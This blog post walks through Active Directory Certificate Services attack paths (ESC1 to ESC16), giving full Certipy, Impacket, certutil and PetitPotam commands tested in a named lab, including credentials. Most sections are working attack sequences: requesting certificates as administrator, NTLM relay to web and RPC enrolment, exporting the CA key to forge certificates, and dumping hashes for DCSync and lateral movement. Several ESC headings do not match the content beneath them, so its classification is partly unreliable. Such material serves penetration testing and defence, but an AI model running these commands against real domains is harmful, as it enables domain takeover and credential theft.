Post

ADCS (II): Attack Paths

ADCS (II): Attack Paths

AD CS: Summary of Attack Paths (ESCs)

This post provides an overview of the documented Enterprise Security Configurations (ESCs) that illustrate various attack paths in Active Directory Certificate Services (AD CS). These scenarios demonstrate how misconfigurations or overly permissive settings can be exploited to escalate privileges or maintain persistent access within a Windows domain.

Updated: This post has been updated (2026-03-22) with practical tests performed in a lab environment. Full Certipy commands, test credentials, and a validation checklist are available at ThruntOps — ADCS Attack Paths.


Lab environment

All commands below were tested against the ThruntOps lab. Adapt the following values to your environment:

ParameterValue
CA namethruntops-CA
CA host10.2.50.13
Domainthruntops.domain
DC10.2.50.11
Attacker10.2.50.250 (Kali)

Tool: Certipypip install certipy-ad

Enumeration (run first):

1
certipy find -u domainuser@thruntops.domain -p 'NV#8SL9#' -dc-ip 10.2.50.11 -stdout

Post-exploitation (common to all ESCs — after obtaining a .pfx):

1
2
3
4
5
6
# Retrieve NT hash via PKINIT (UnPAC-the-Hash)
certipy auth -pfx administrator.pfx -domain thruntops.domain -dc-ip 10.2.50.11

# Use the hash for lateral movement
impacket-psexec -hashes :NTHASH administrator@10.2.50.11
impacket-secretsdump -hashes :NTHASH administrator@10.2.50.11

ESC1: Poorly Configured Templates (Broad EKU or Unrestricted)

Lab (ThruntOps): Template ESC1 has ENROLLEE_SUPPLIES_SUBJECT + Client Authentication EKU. Any Domain Users member can enroll specifying an arbitrary UPN.

1
2
3
4
5
6
7
8
certipy req \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template ESC1 \
  -upn administrator@thruntops.domain
# → administrator.pfx

ESC2: Abuse of the Enrollment Agent Template

Lab (ThruntOps): Template ESC2 (Certificate Request Agent / Any Purpose EKU) is enrollable by any Domain Users member.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1 — Obtain Enrollment Agent certificate
certipy req \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template ESC2

# Step 2 — Use EA certificate to enroll on behalf of administrator
certipy req \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template User \
  -on-behalf-of 'thruntops\administrator' \
  -pfx domainuser.pfx
# → administrator.pfx

ESC3: Subject Alternative Name (SAN) Controlled by the Requester

Lab (ThruntOps): Template ESC3 has ENROLLEE_SUPPLIES_SUBJECT. Any domain user can request a certificate specifying an arbitrary UPN.

1
2
3
4
5
6
7
8
certipy req \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template ESC3 \
  -upn administrator@thruntops.domain
# → administrator.pfx

ESC4: Combination of Enrollment Agent and SAN Control

Lab (ThruntOps): Templates ESC3 (Enrollment Agent) + ESC3_CRA (Certificate Request Agent with requester-controlled SAN) implement this combination.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1 — Obtain Enrollment Agent certificate from ESC3
certipy req \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template ESC3

# Step 2 — Use EA cert to enroll as administrator via ESC3_CRA
certipy req \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template ESC3_CRA \
  -on-behalf-of 'thruntops\administrator' \
  -pfx domainuser.pfx
# → administrator.pfx

ESC5: Templates with Overly Permissive EKUs or “Any Purpose”

Lab (ThruntOps): The lab implements ESC5 as a user (esc5user) with Domain Admin rights — giving full control over the CA object and the ADCS host itself. This enables CA key access and arbitrary certificate issuance without needing a misconfigured template.

1
2
3
4
5
# esc5user is Domain Admin — use it to control the CA directly
impacket-psexec esc5user:ESC5password@10.2.50.13

# From the ADCS host, grant ManageCA to any account
certutil -config "10.2.50.13\thruntops-CA" -setcaproperty manageca <target_user>

ESC6: Excessive Permissions on the Template

Lab (ThruntOps): Template ESC4 has GenericAll granted to Domain Users on the template object in AD. Any domain user can modify the template (e.g., add ENROLLEE_SUPPLIES_SUBJECT) and then request a certificate as a privileged account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Step 1 — Overwrite template to enable ENROLLEE_SUPPLIES_SUBJECT (saves backup)
certipy template \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -template ESC4 \
  -save-old

# Step 2 — Request certificate as administrator
certipy req \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template ESC4 \
  -upn administrator@thruntops.domain

# Step 3 — Restore original template
certipy template \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -template ESC4 \
  -configuration ESC4.json
# → administrator.pfx

ESC7: Improper Use of UPN Attributes in Certificates

Lab (ThruntOps): The CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set, allowing any template with Client Authentication EKU to accept a requester-controlled UPN — regardless of the template’s own SAN flags. Any domain user can request a standard User template certificate specifying an arbitrary UPN.

1
2
3
4
5
6
7
8
certipy req \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template User \
  -upn administrator@thruntops.domain
# → administrator.pfx

ESC8: NTLM Relay to AD CS Web Enrollment Endpoints

Lab (ThruntOps): Web Enrollment (/certsrv/) is enabled at http://10.2.50.13. Triggering DC authentication via PetitPotam and relaying it to the Web Enrollment endpoint yields a DC machine account certificate, enabling DCSync.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Step 1 — Start NTLM relay targeting ADCS Web Enrollment
impacket-ntlmrelayx \
  -t http://10.2.50.13/certsrv/certfnsh.asp \
  -smb2support \
  --adcs \
  --template DomainController

# Step 2 — Trigger DC$ authentication to Kali (unauthenticated)
python3 PetitPotam.py -u '' -p '' 10.2.50.250 10.2.50.11
# ntlmrelayx outputs base64-encoded certificate for DC01-2022$

# Step 3 — Decode and authenticate
echo '<BASE64>' | base64 -d > dc01.pfx
certipy auth -pfx dc01.pfx -domain thruntops.domain -dc-ip 10.2.50.11
# → NT hash for DC01-2022$ → DCSync

ESC9: Vulnerable Subordinate or Offline CA Configurations

Lab (ThruntOps): The lab implements this via esc5user (Domain Admin), which has full control over the CA host (10.2.50.13). Once compromised, the CA private key can be exported and used to sign arbitrary certificates offline.

1
2
3
4
5
6
7
8
9
10
11
# Access CA host as esc5user (Domain Admin)
impacket-psexec esc5user:ESC5password@10.2.50.13

# Export CA certificate and private key
certutil -exportpfx -p "export_password" thruntops-CA C:\ca_backup.pfx

# Forge certificate offline using the exported CA key (ForgeCert / Certipy)
certipy forge \
  -ca-pfx ca_backup.pfx \
  -upn administrator@thruntops.domain \
  -subject 'CN=Administrator,CN=Users,DC=thruntops,DC=domain'

ESC10: Misuse of Domain Controller Certificate Templates

Lab (ThruntOps): ESC8 (NTLM relay + PetitPotam) directly obtains a certificate for the DC01-2022$ machine account using the DomainController template. See ESC8 commands above — the result is a DC machine account certificate usable for DCSync.


ESC11: Lack of Validation or Monitoring in Certificate Issuance

Lab (ThruntOps): The CA has IF_ENFORCEENCRYPTICERTREQUEST disabled, enabling NTLM relay directly over the CA’s RPC interface (no Web Enrollment required). This is the RPC equivalent of ESC8.

1
2
3
4
5
6
7
8
9
10
11
12
# Step 1 — Start RPC relay to CA
impacket-ntlmrelayx \
  -t rpc://10.2.50.13 \
  -rpc-mode ICPR \
  -icpr-ca-name thruntops-CA \
  -smb2support \
  --adcs \
  --template DomainController

# Step 2 — Trigger DC$ authentication (unauthenticated)
python3 PetitPotam.py -u '' -p '' 10.2.50.250 10.2.50.11
# → DC machine account certificate obtained via RPC relay

ESC12: Poorly Managed Revocation and Expiration


Lab (ThruntOps): The lab implements ESC13 as an issuance policy OID linked to the esc13group group. esc13user can enroll on template ESC13 — the resulting certificate carries the policy OID which grants esc13group membership during PKINIT authentication, inheriting whatever rights that group holds in the domain.

1
2
3
4
5
6
7
8
9
10
11
12
13
# Request certificate as esc13user
certipy req \
  -u esc13user@thruntops.domain \
  -p 'ESC13password' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template ESC13

# Authenticate — PKINIT grants esc13group membership
certipy auth \
  -pfx esc13user.pfx \
  -domain thruntops.domain \
  -dc-ip 10.2.50.11

ESC14: Advanced Abuse of Public Key Configurations and Permissions

Lab (ThruntOps): The lab also includes ESC15 (AltSecurityIdentities mapping) and ESC16 (szOID_NTDS_CA_SECURITY_EXT disabled). ESC16 removes the SID binding from issued certificates — the attack path mirrors ESC9: modify a victim account’s UPN, request a certificate, then restore the UPN.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# ESC16 — szOID_NTDS_CA_SECURITY_EXT disabled on CA
# Domain Users have GenericWrite over esc16user

# Step 1 — Set esc16user UPN to target
certipy account update \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -user esc16user \
  -upn administrator@thruntops.domain

# Step 2 — Request certificate as esc16user (UPN now points to administrator)
certipy req \
  -u esc16user@thruntops.domain \
  -p 'ESC16password' \
  -dc-ip 10.2.50.11 \
  -ca thruntops-CA \
  -template User

# Step 3 — Restore UPN
certipy account update \
  -u domainuser@thruntops.domain \
  -p 'NV#8SL9#' \
  -dc-ip 10.2.50.11 \
  -user esc16user \
  -upn esc16user@thruntops.domain

# Step 4 — Authenticate (maps to administrator due to missing SID extension)
certipy auth \
  -pfx esc16user.pfx \
  -domain thruntops.domain \
  -dc-ip 10.2.50.11
# → administrator NT hash
This post is licensed under CC BY 4.0 by the author.